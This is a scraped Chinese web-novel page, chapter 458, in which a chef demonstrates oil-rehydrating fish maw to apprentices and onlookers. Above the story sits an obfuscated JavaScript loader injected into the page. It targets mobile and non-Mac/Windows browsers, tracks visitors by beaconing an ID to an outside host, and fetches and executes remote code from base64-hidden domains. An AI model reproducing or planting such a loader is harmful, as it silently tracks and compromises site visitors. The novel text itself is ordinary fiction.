足迹
顾若曦顾清歌
登录
关灯
护眼
字体:

第458章 :现场教学(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

其他的顾客眼红了,马上叫道:“我们也想去看看,可以不苏老板?”

苏染想了下,点头:“行,既然都想去,那就干脆把后厨门打开,你们站外面看吧。”

她做菜没什么忌讳,不怕人围观。

但小蛙连忙拉住她:“师傅,您就不怕被人偷师啊?”

“我亲自教你们,你们都能把菜做的让顾客不满意,看几眼而已,怕什么?”

“额,对不起啊师傅,是我们……”

“下次改进就好,也是我最近忙的没顾上多教你们。”

“不不不,师傅已经教了很多了!”

是他们太愚钝!

苏染笑了声:“不用这么紧张,顾客提出问题,咱们找出根源再针对性解决就行啦。”

“可我们真的就是完全按照您教的来做的。”

“所以顾客没抱怨口味,而是食材口感。”

“食材不就是干货么?正常程序泡发了就好呀?”

“不,这里面都是有讲究的。”

苏染说:“也是我之前没考虑周到,没有仔细教你们干货泡发了。”

“啊?”

徒弟们懵了。

看客们也都懵了。

“怎么听起来,这干货泡发还有讲究呢?”

“有的。”

苏染撸起袖子,一边掏出海参、鱼肚一边说:“用干货做菜,关键不在调味,而在泡发。”

“所以师傅,您的意思,我们这菜是差在泡发功夫上?”

“嗯。”

苏染拿着鱼肚,解释道:“广肚得用油发,口感才会爽滑软糯。”

“啊?”

用油?

“对。”

苏染手上功夫很快,开始熬起了油。

“先把有热至五成差不多,然后用它把广肚浸泡两次,取出放凉,再用微火炸。”

苏染说着,就已经把油熬到了五成热,然后动作飞快的浸泡了两次。

紧跟着就是取出放凉。

凉下来需要点时间,她就干脆看向众人解释:“炸好后再捞出来,把它们用清水泡,广肚才能最大程度的吸收水分,紧接着再去清洗,肚上的油脂才能被彻底的弄干净。”

“最后呢,再用清水洗一遍,到这个程度,才可以拿去入菜。”

“我的妈,原来只是前期工作都这么多讲究啊?”

徒弟们都惊了。

苏染点点头:“只有用油发过,它的口感才能达到软糯绵滑,这种时候哪怕只是随便浇个汁,味道都会很棒的。”

“别说浇汁,甚至不怎么会做菜的人上手,都可以弄出鲜美的口感来。”

顿了顿,苏染补充了一句:“要是手艺再好一点的人,能很清爽就把它做成人间绝味。”

“那就是您吧师傅?也就只有您能做出只应天上才会有的人间绝味!”

“哈哈只要你们学会了,也一样可以的。”

苏染边说边开始炸广肚,滋啦一下,香气瞬间弥漫……

众人的鼻子立刻被激活:“好鲜啊!我饿了!”

馋虫瞬间被勾起。

再一看苏染手头上的功夫,那当真是视觉盛宴。

“好看,好闻,再配上好吃,绝了!”

“只可惜现在吃不到啊!”

真遗憾。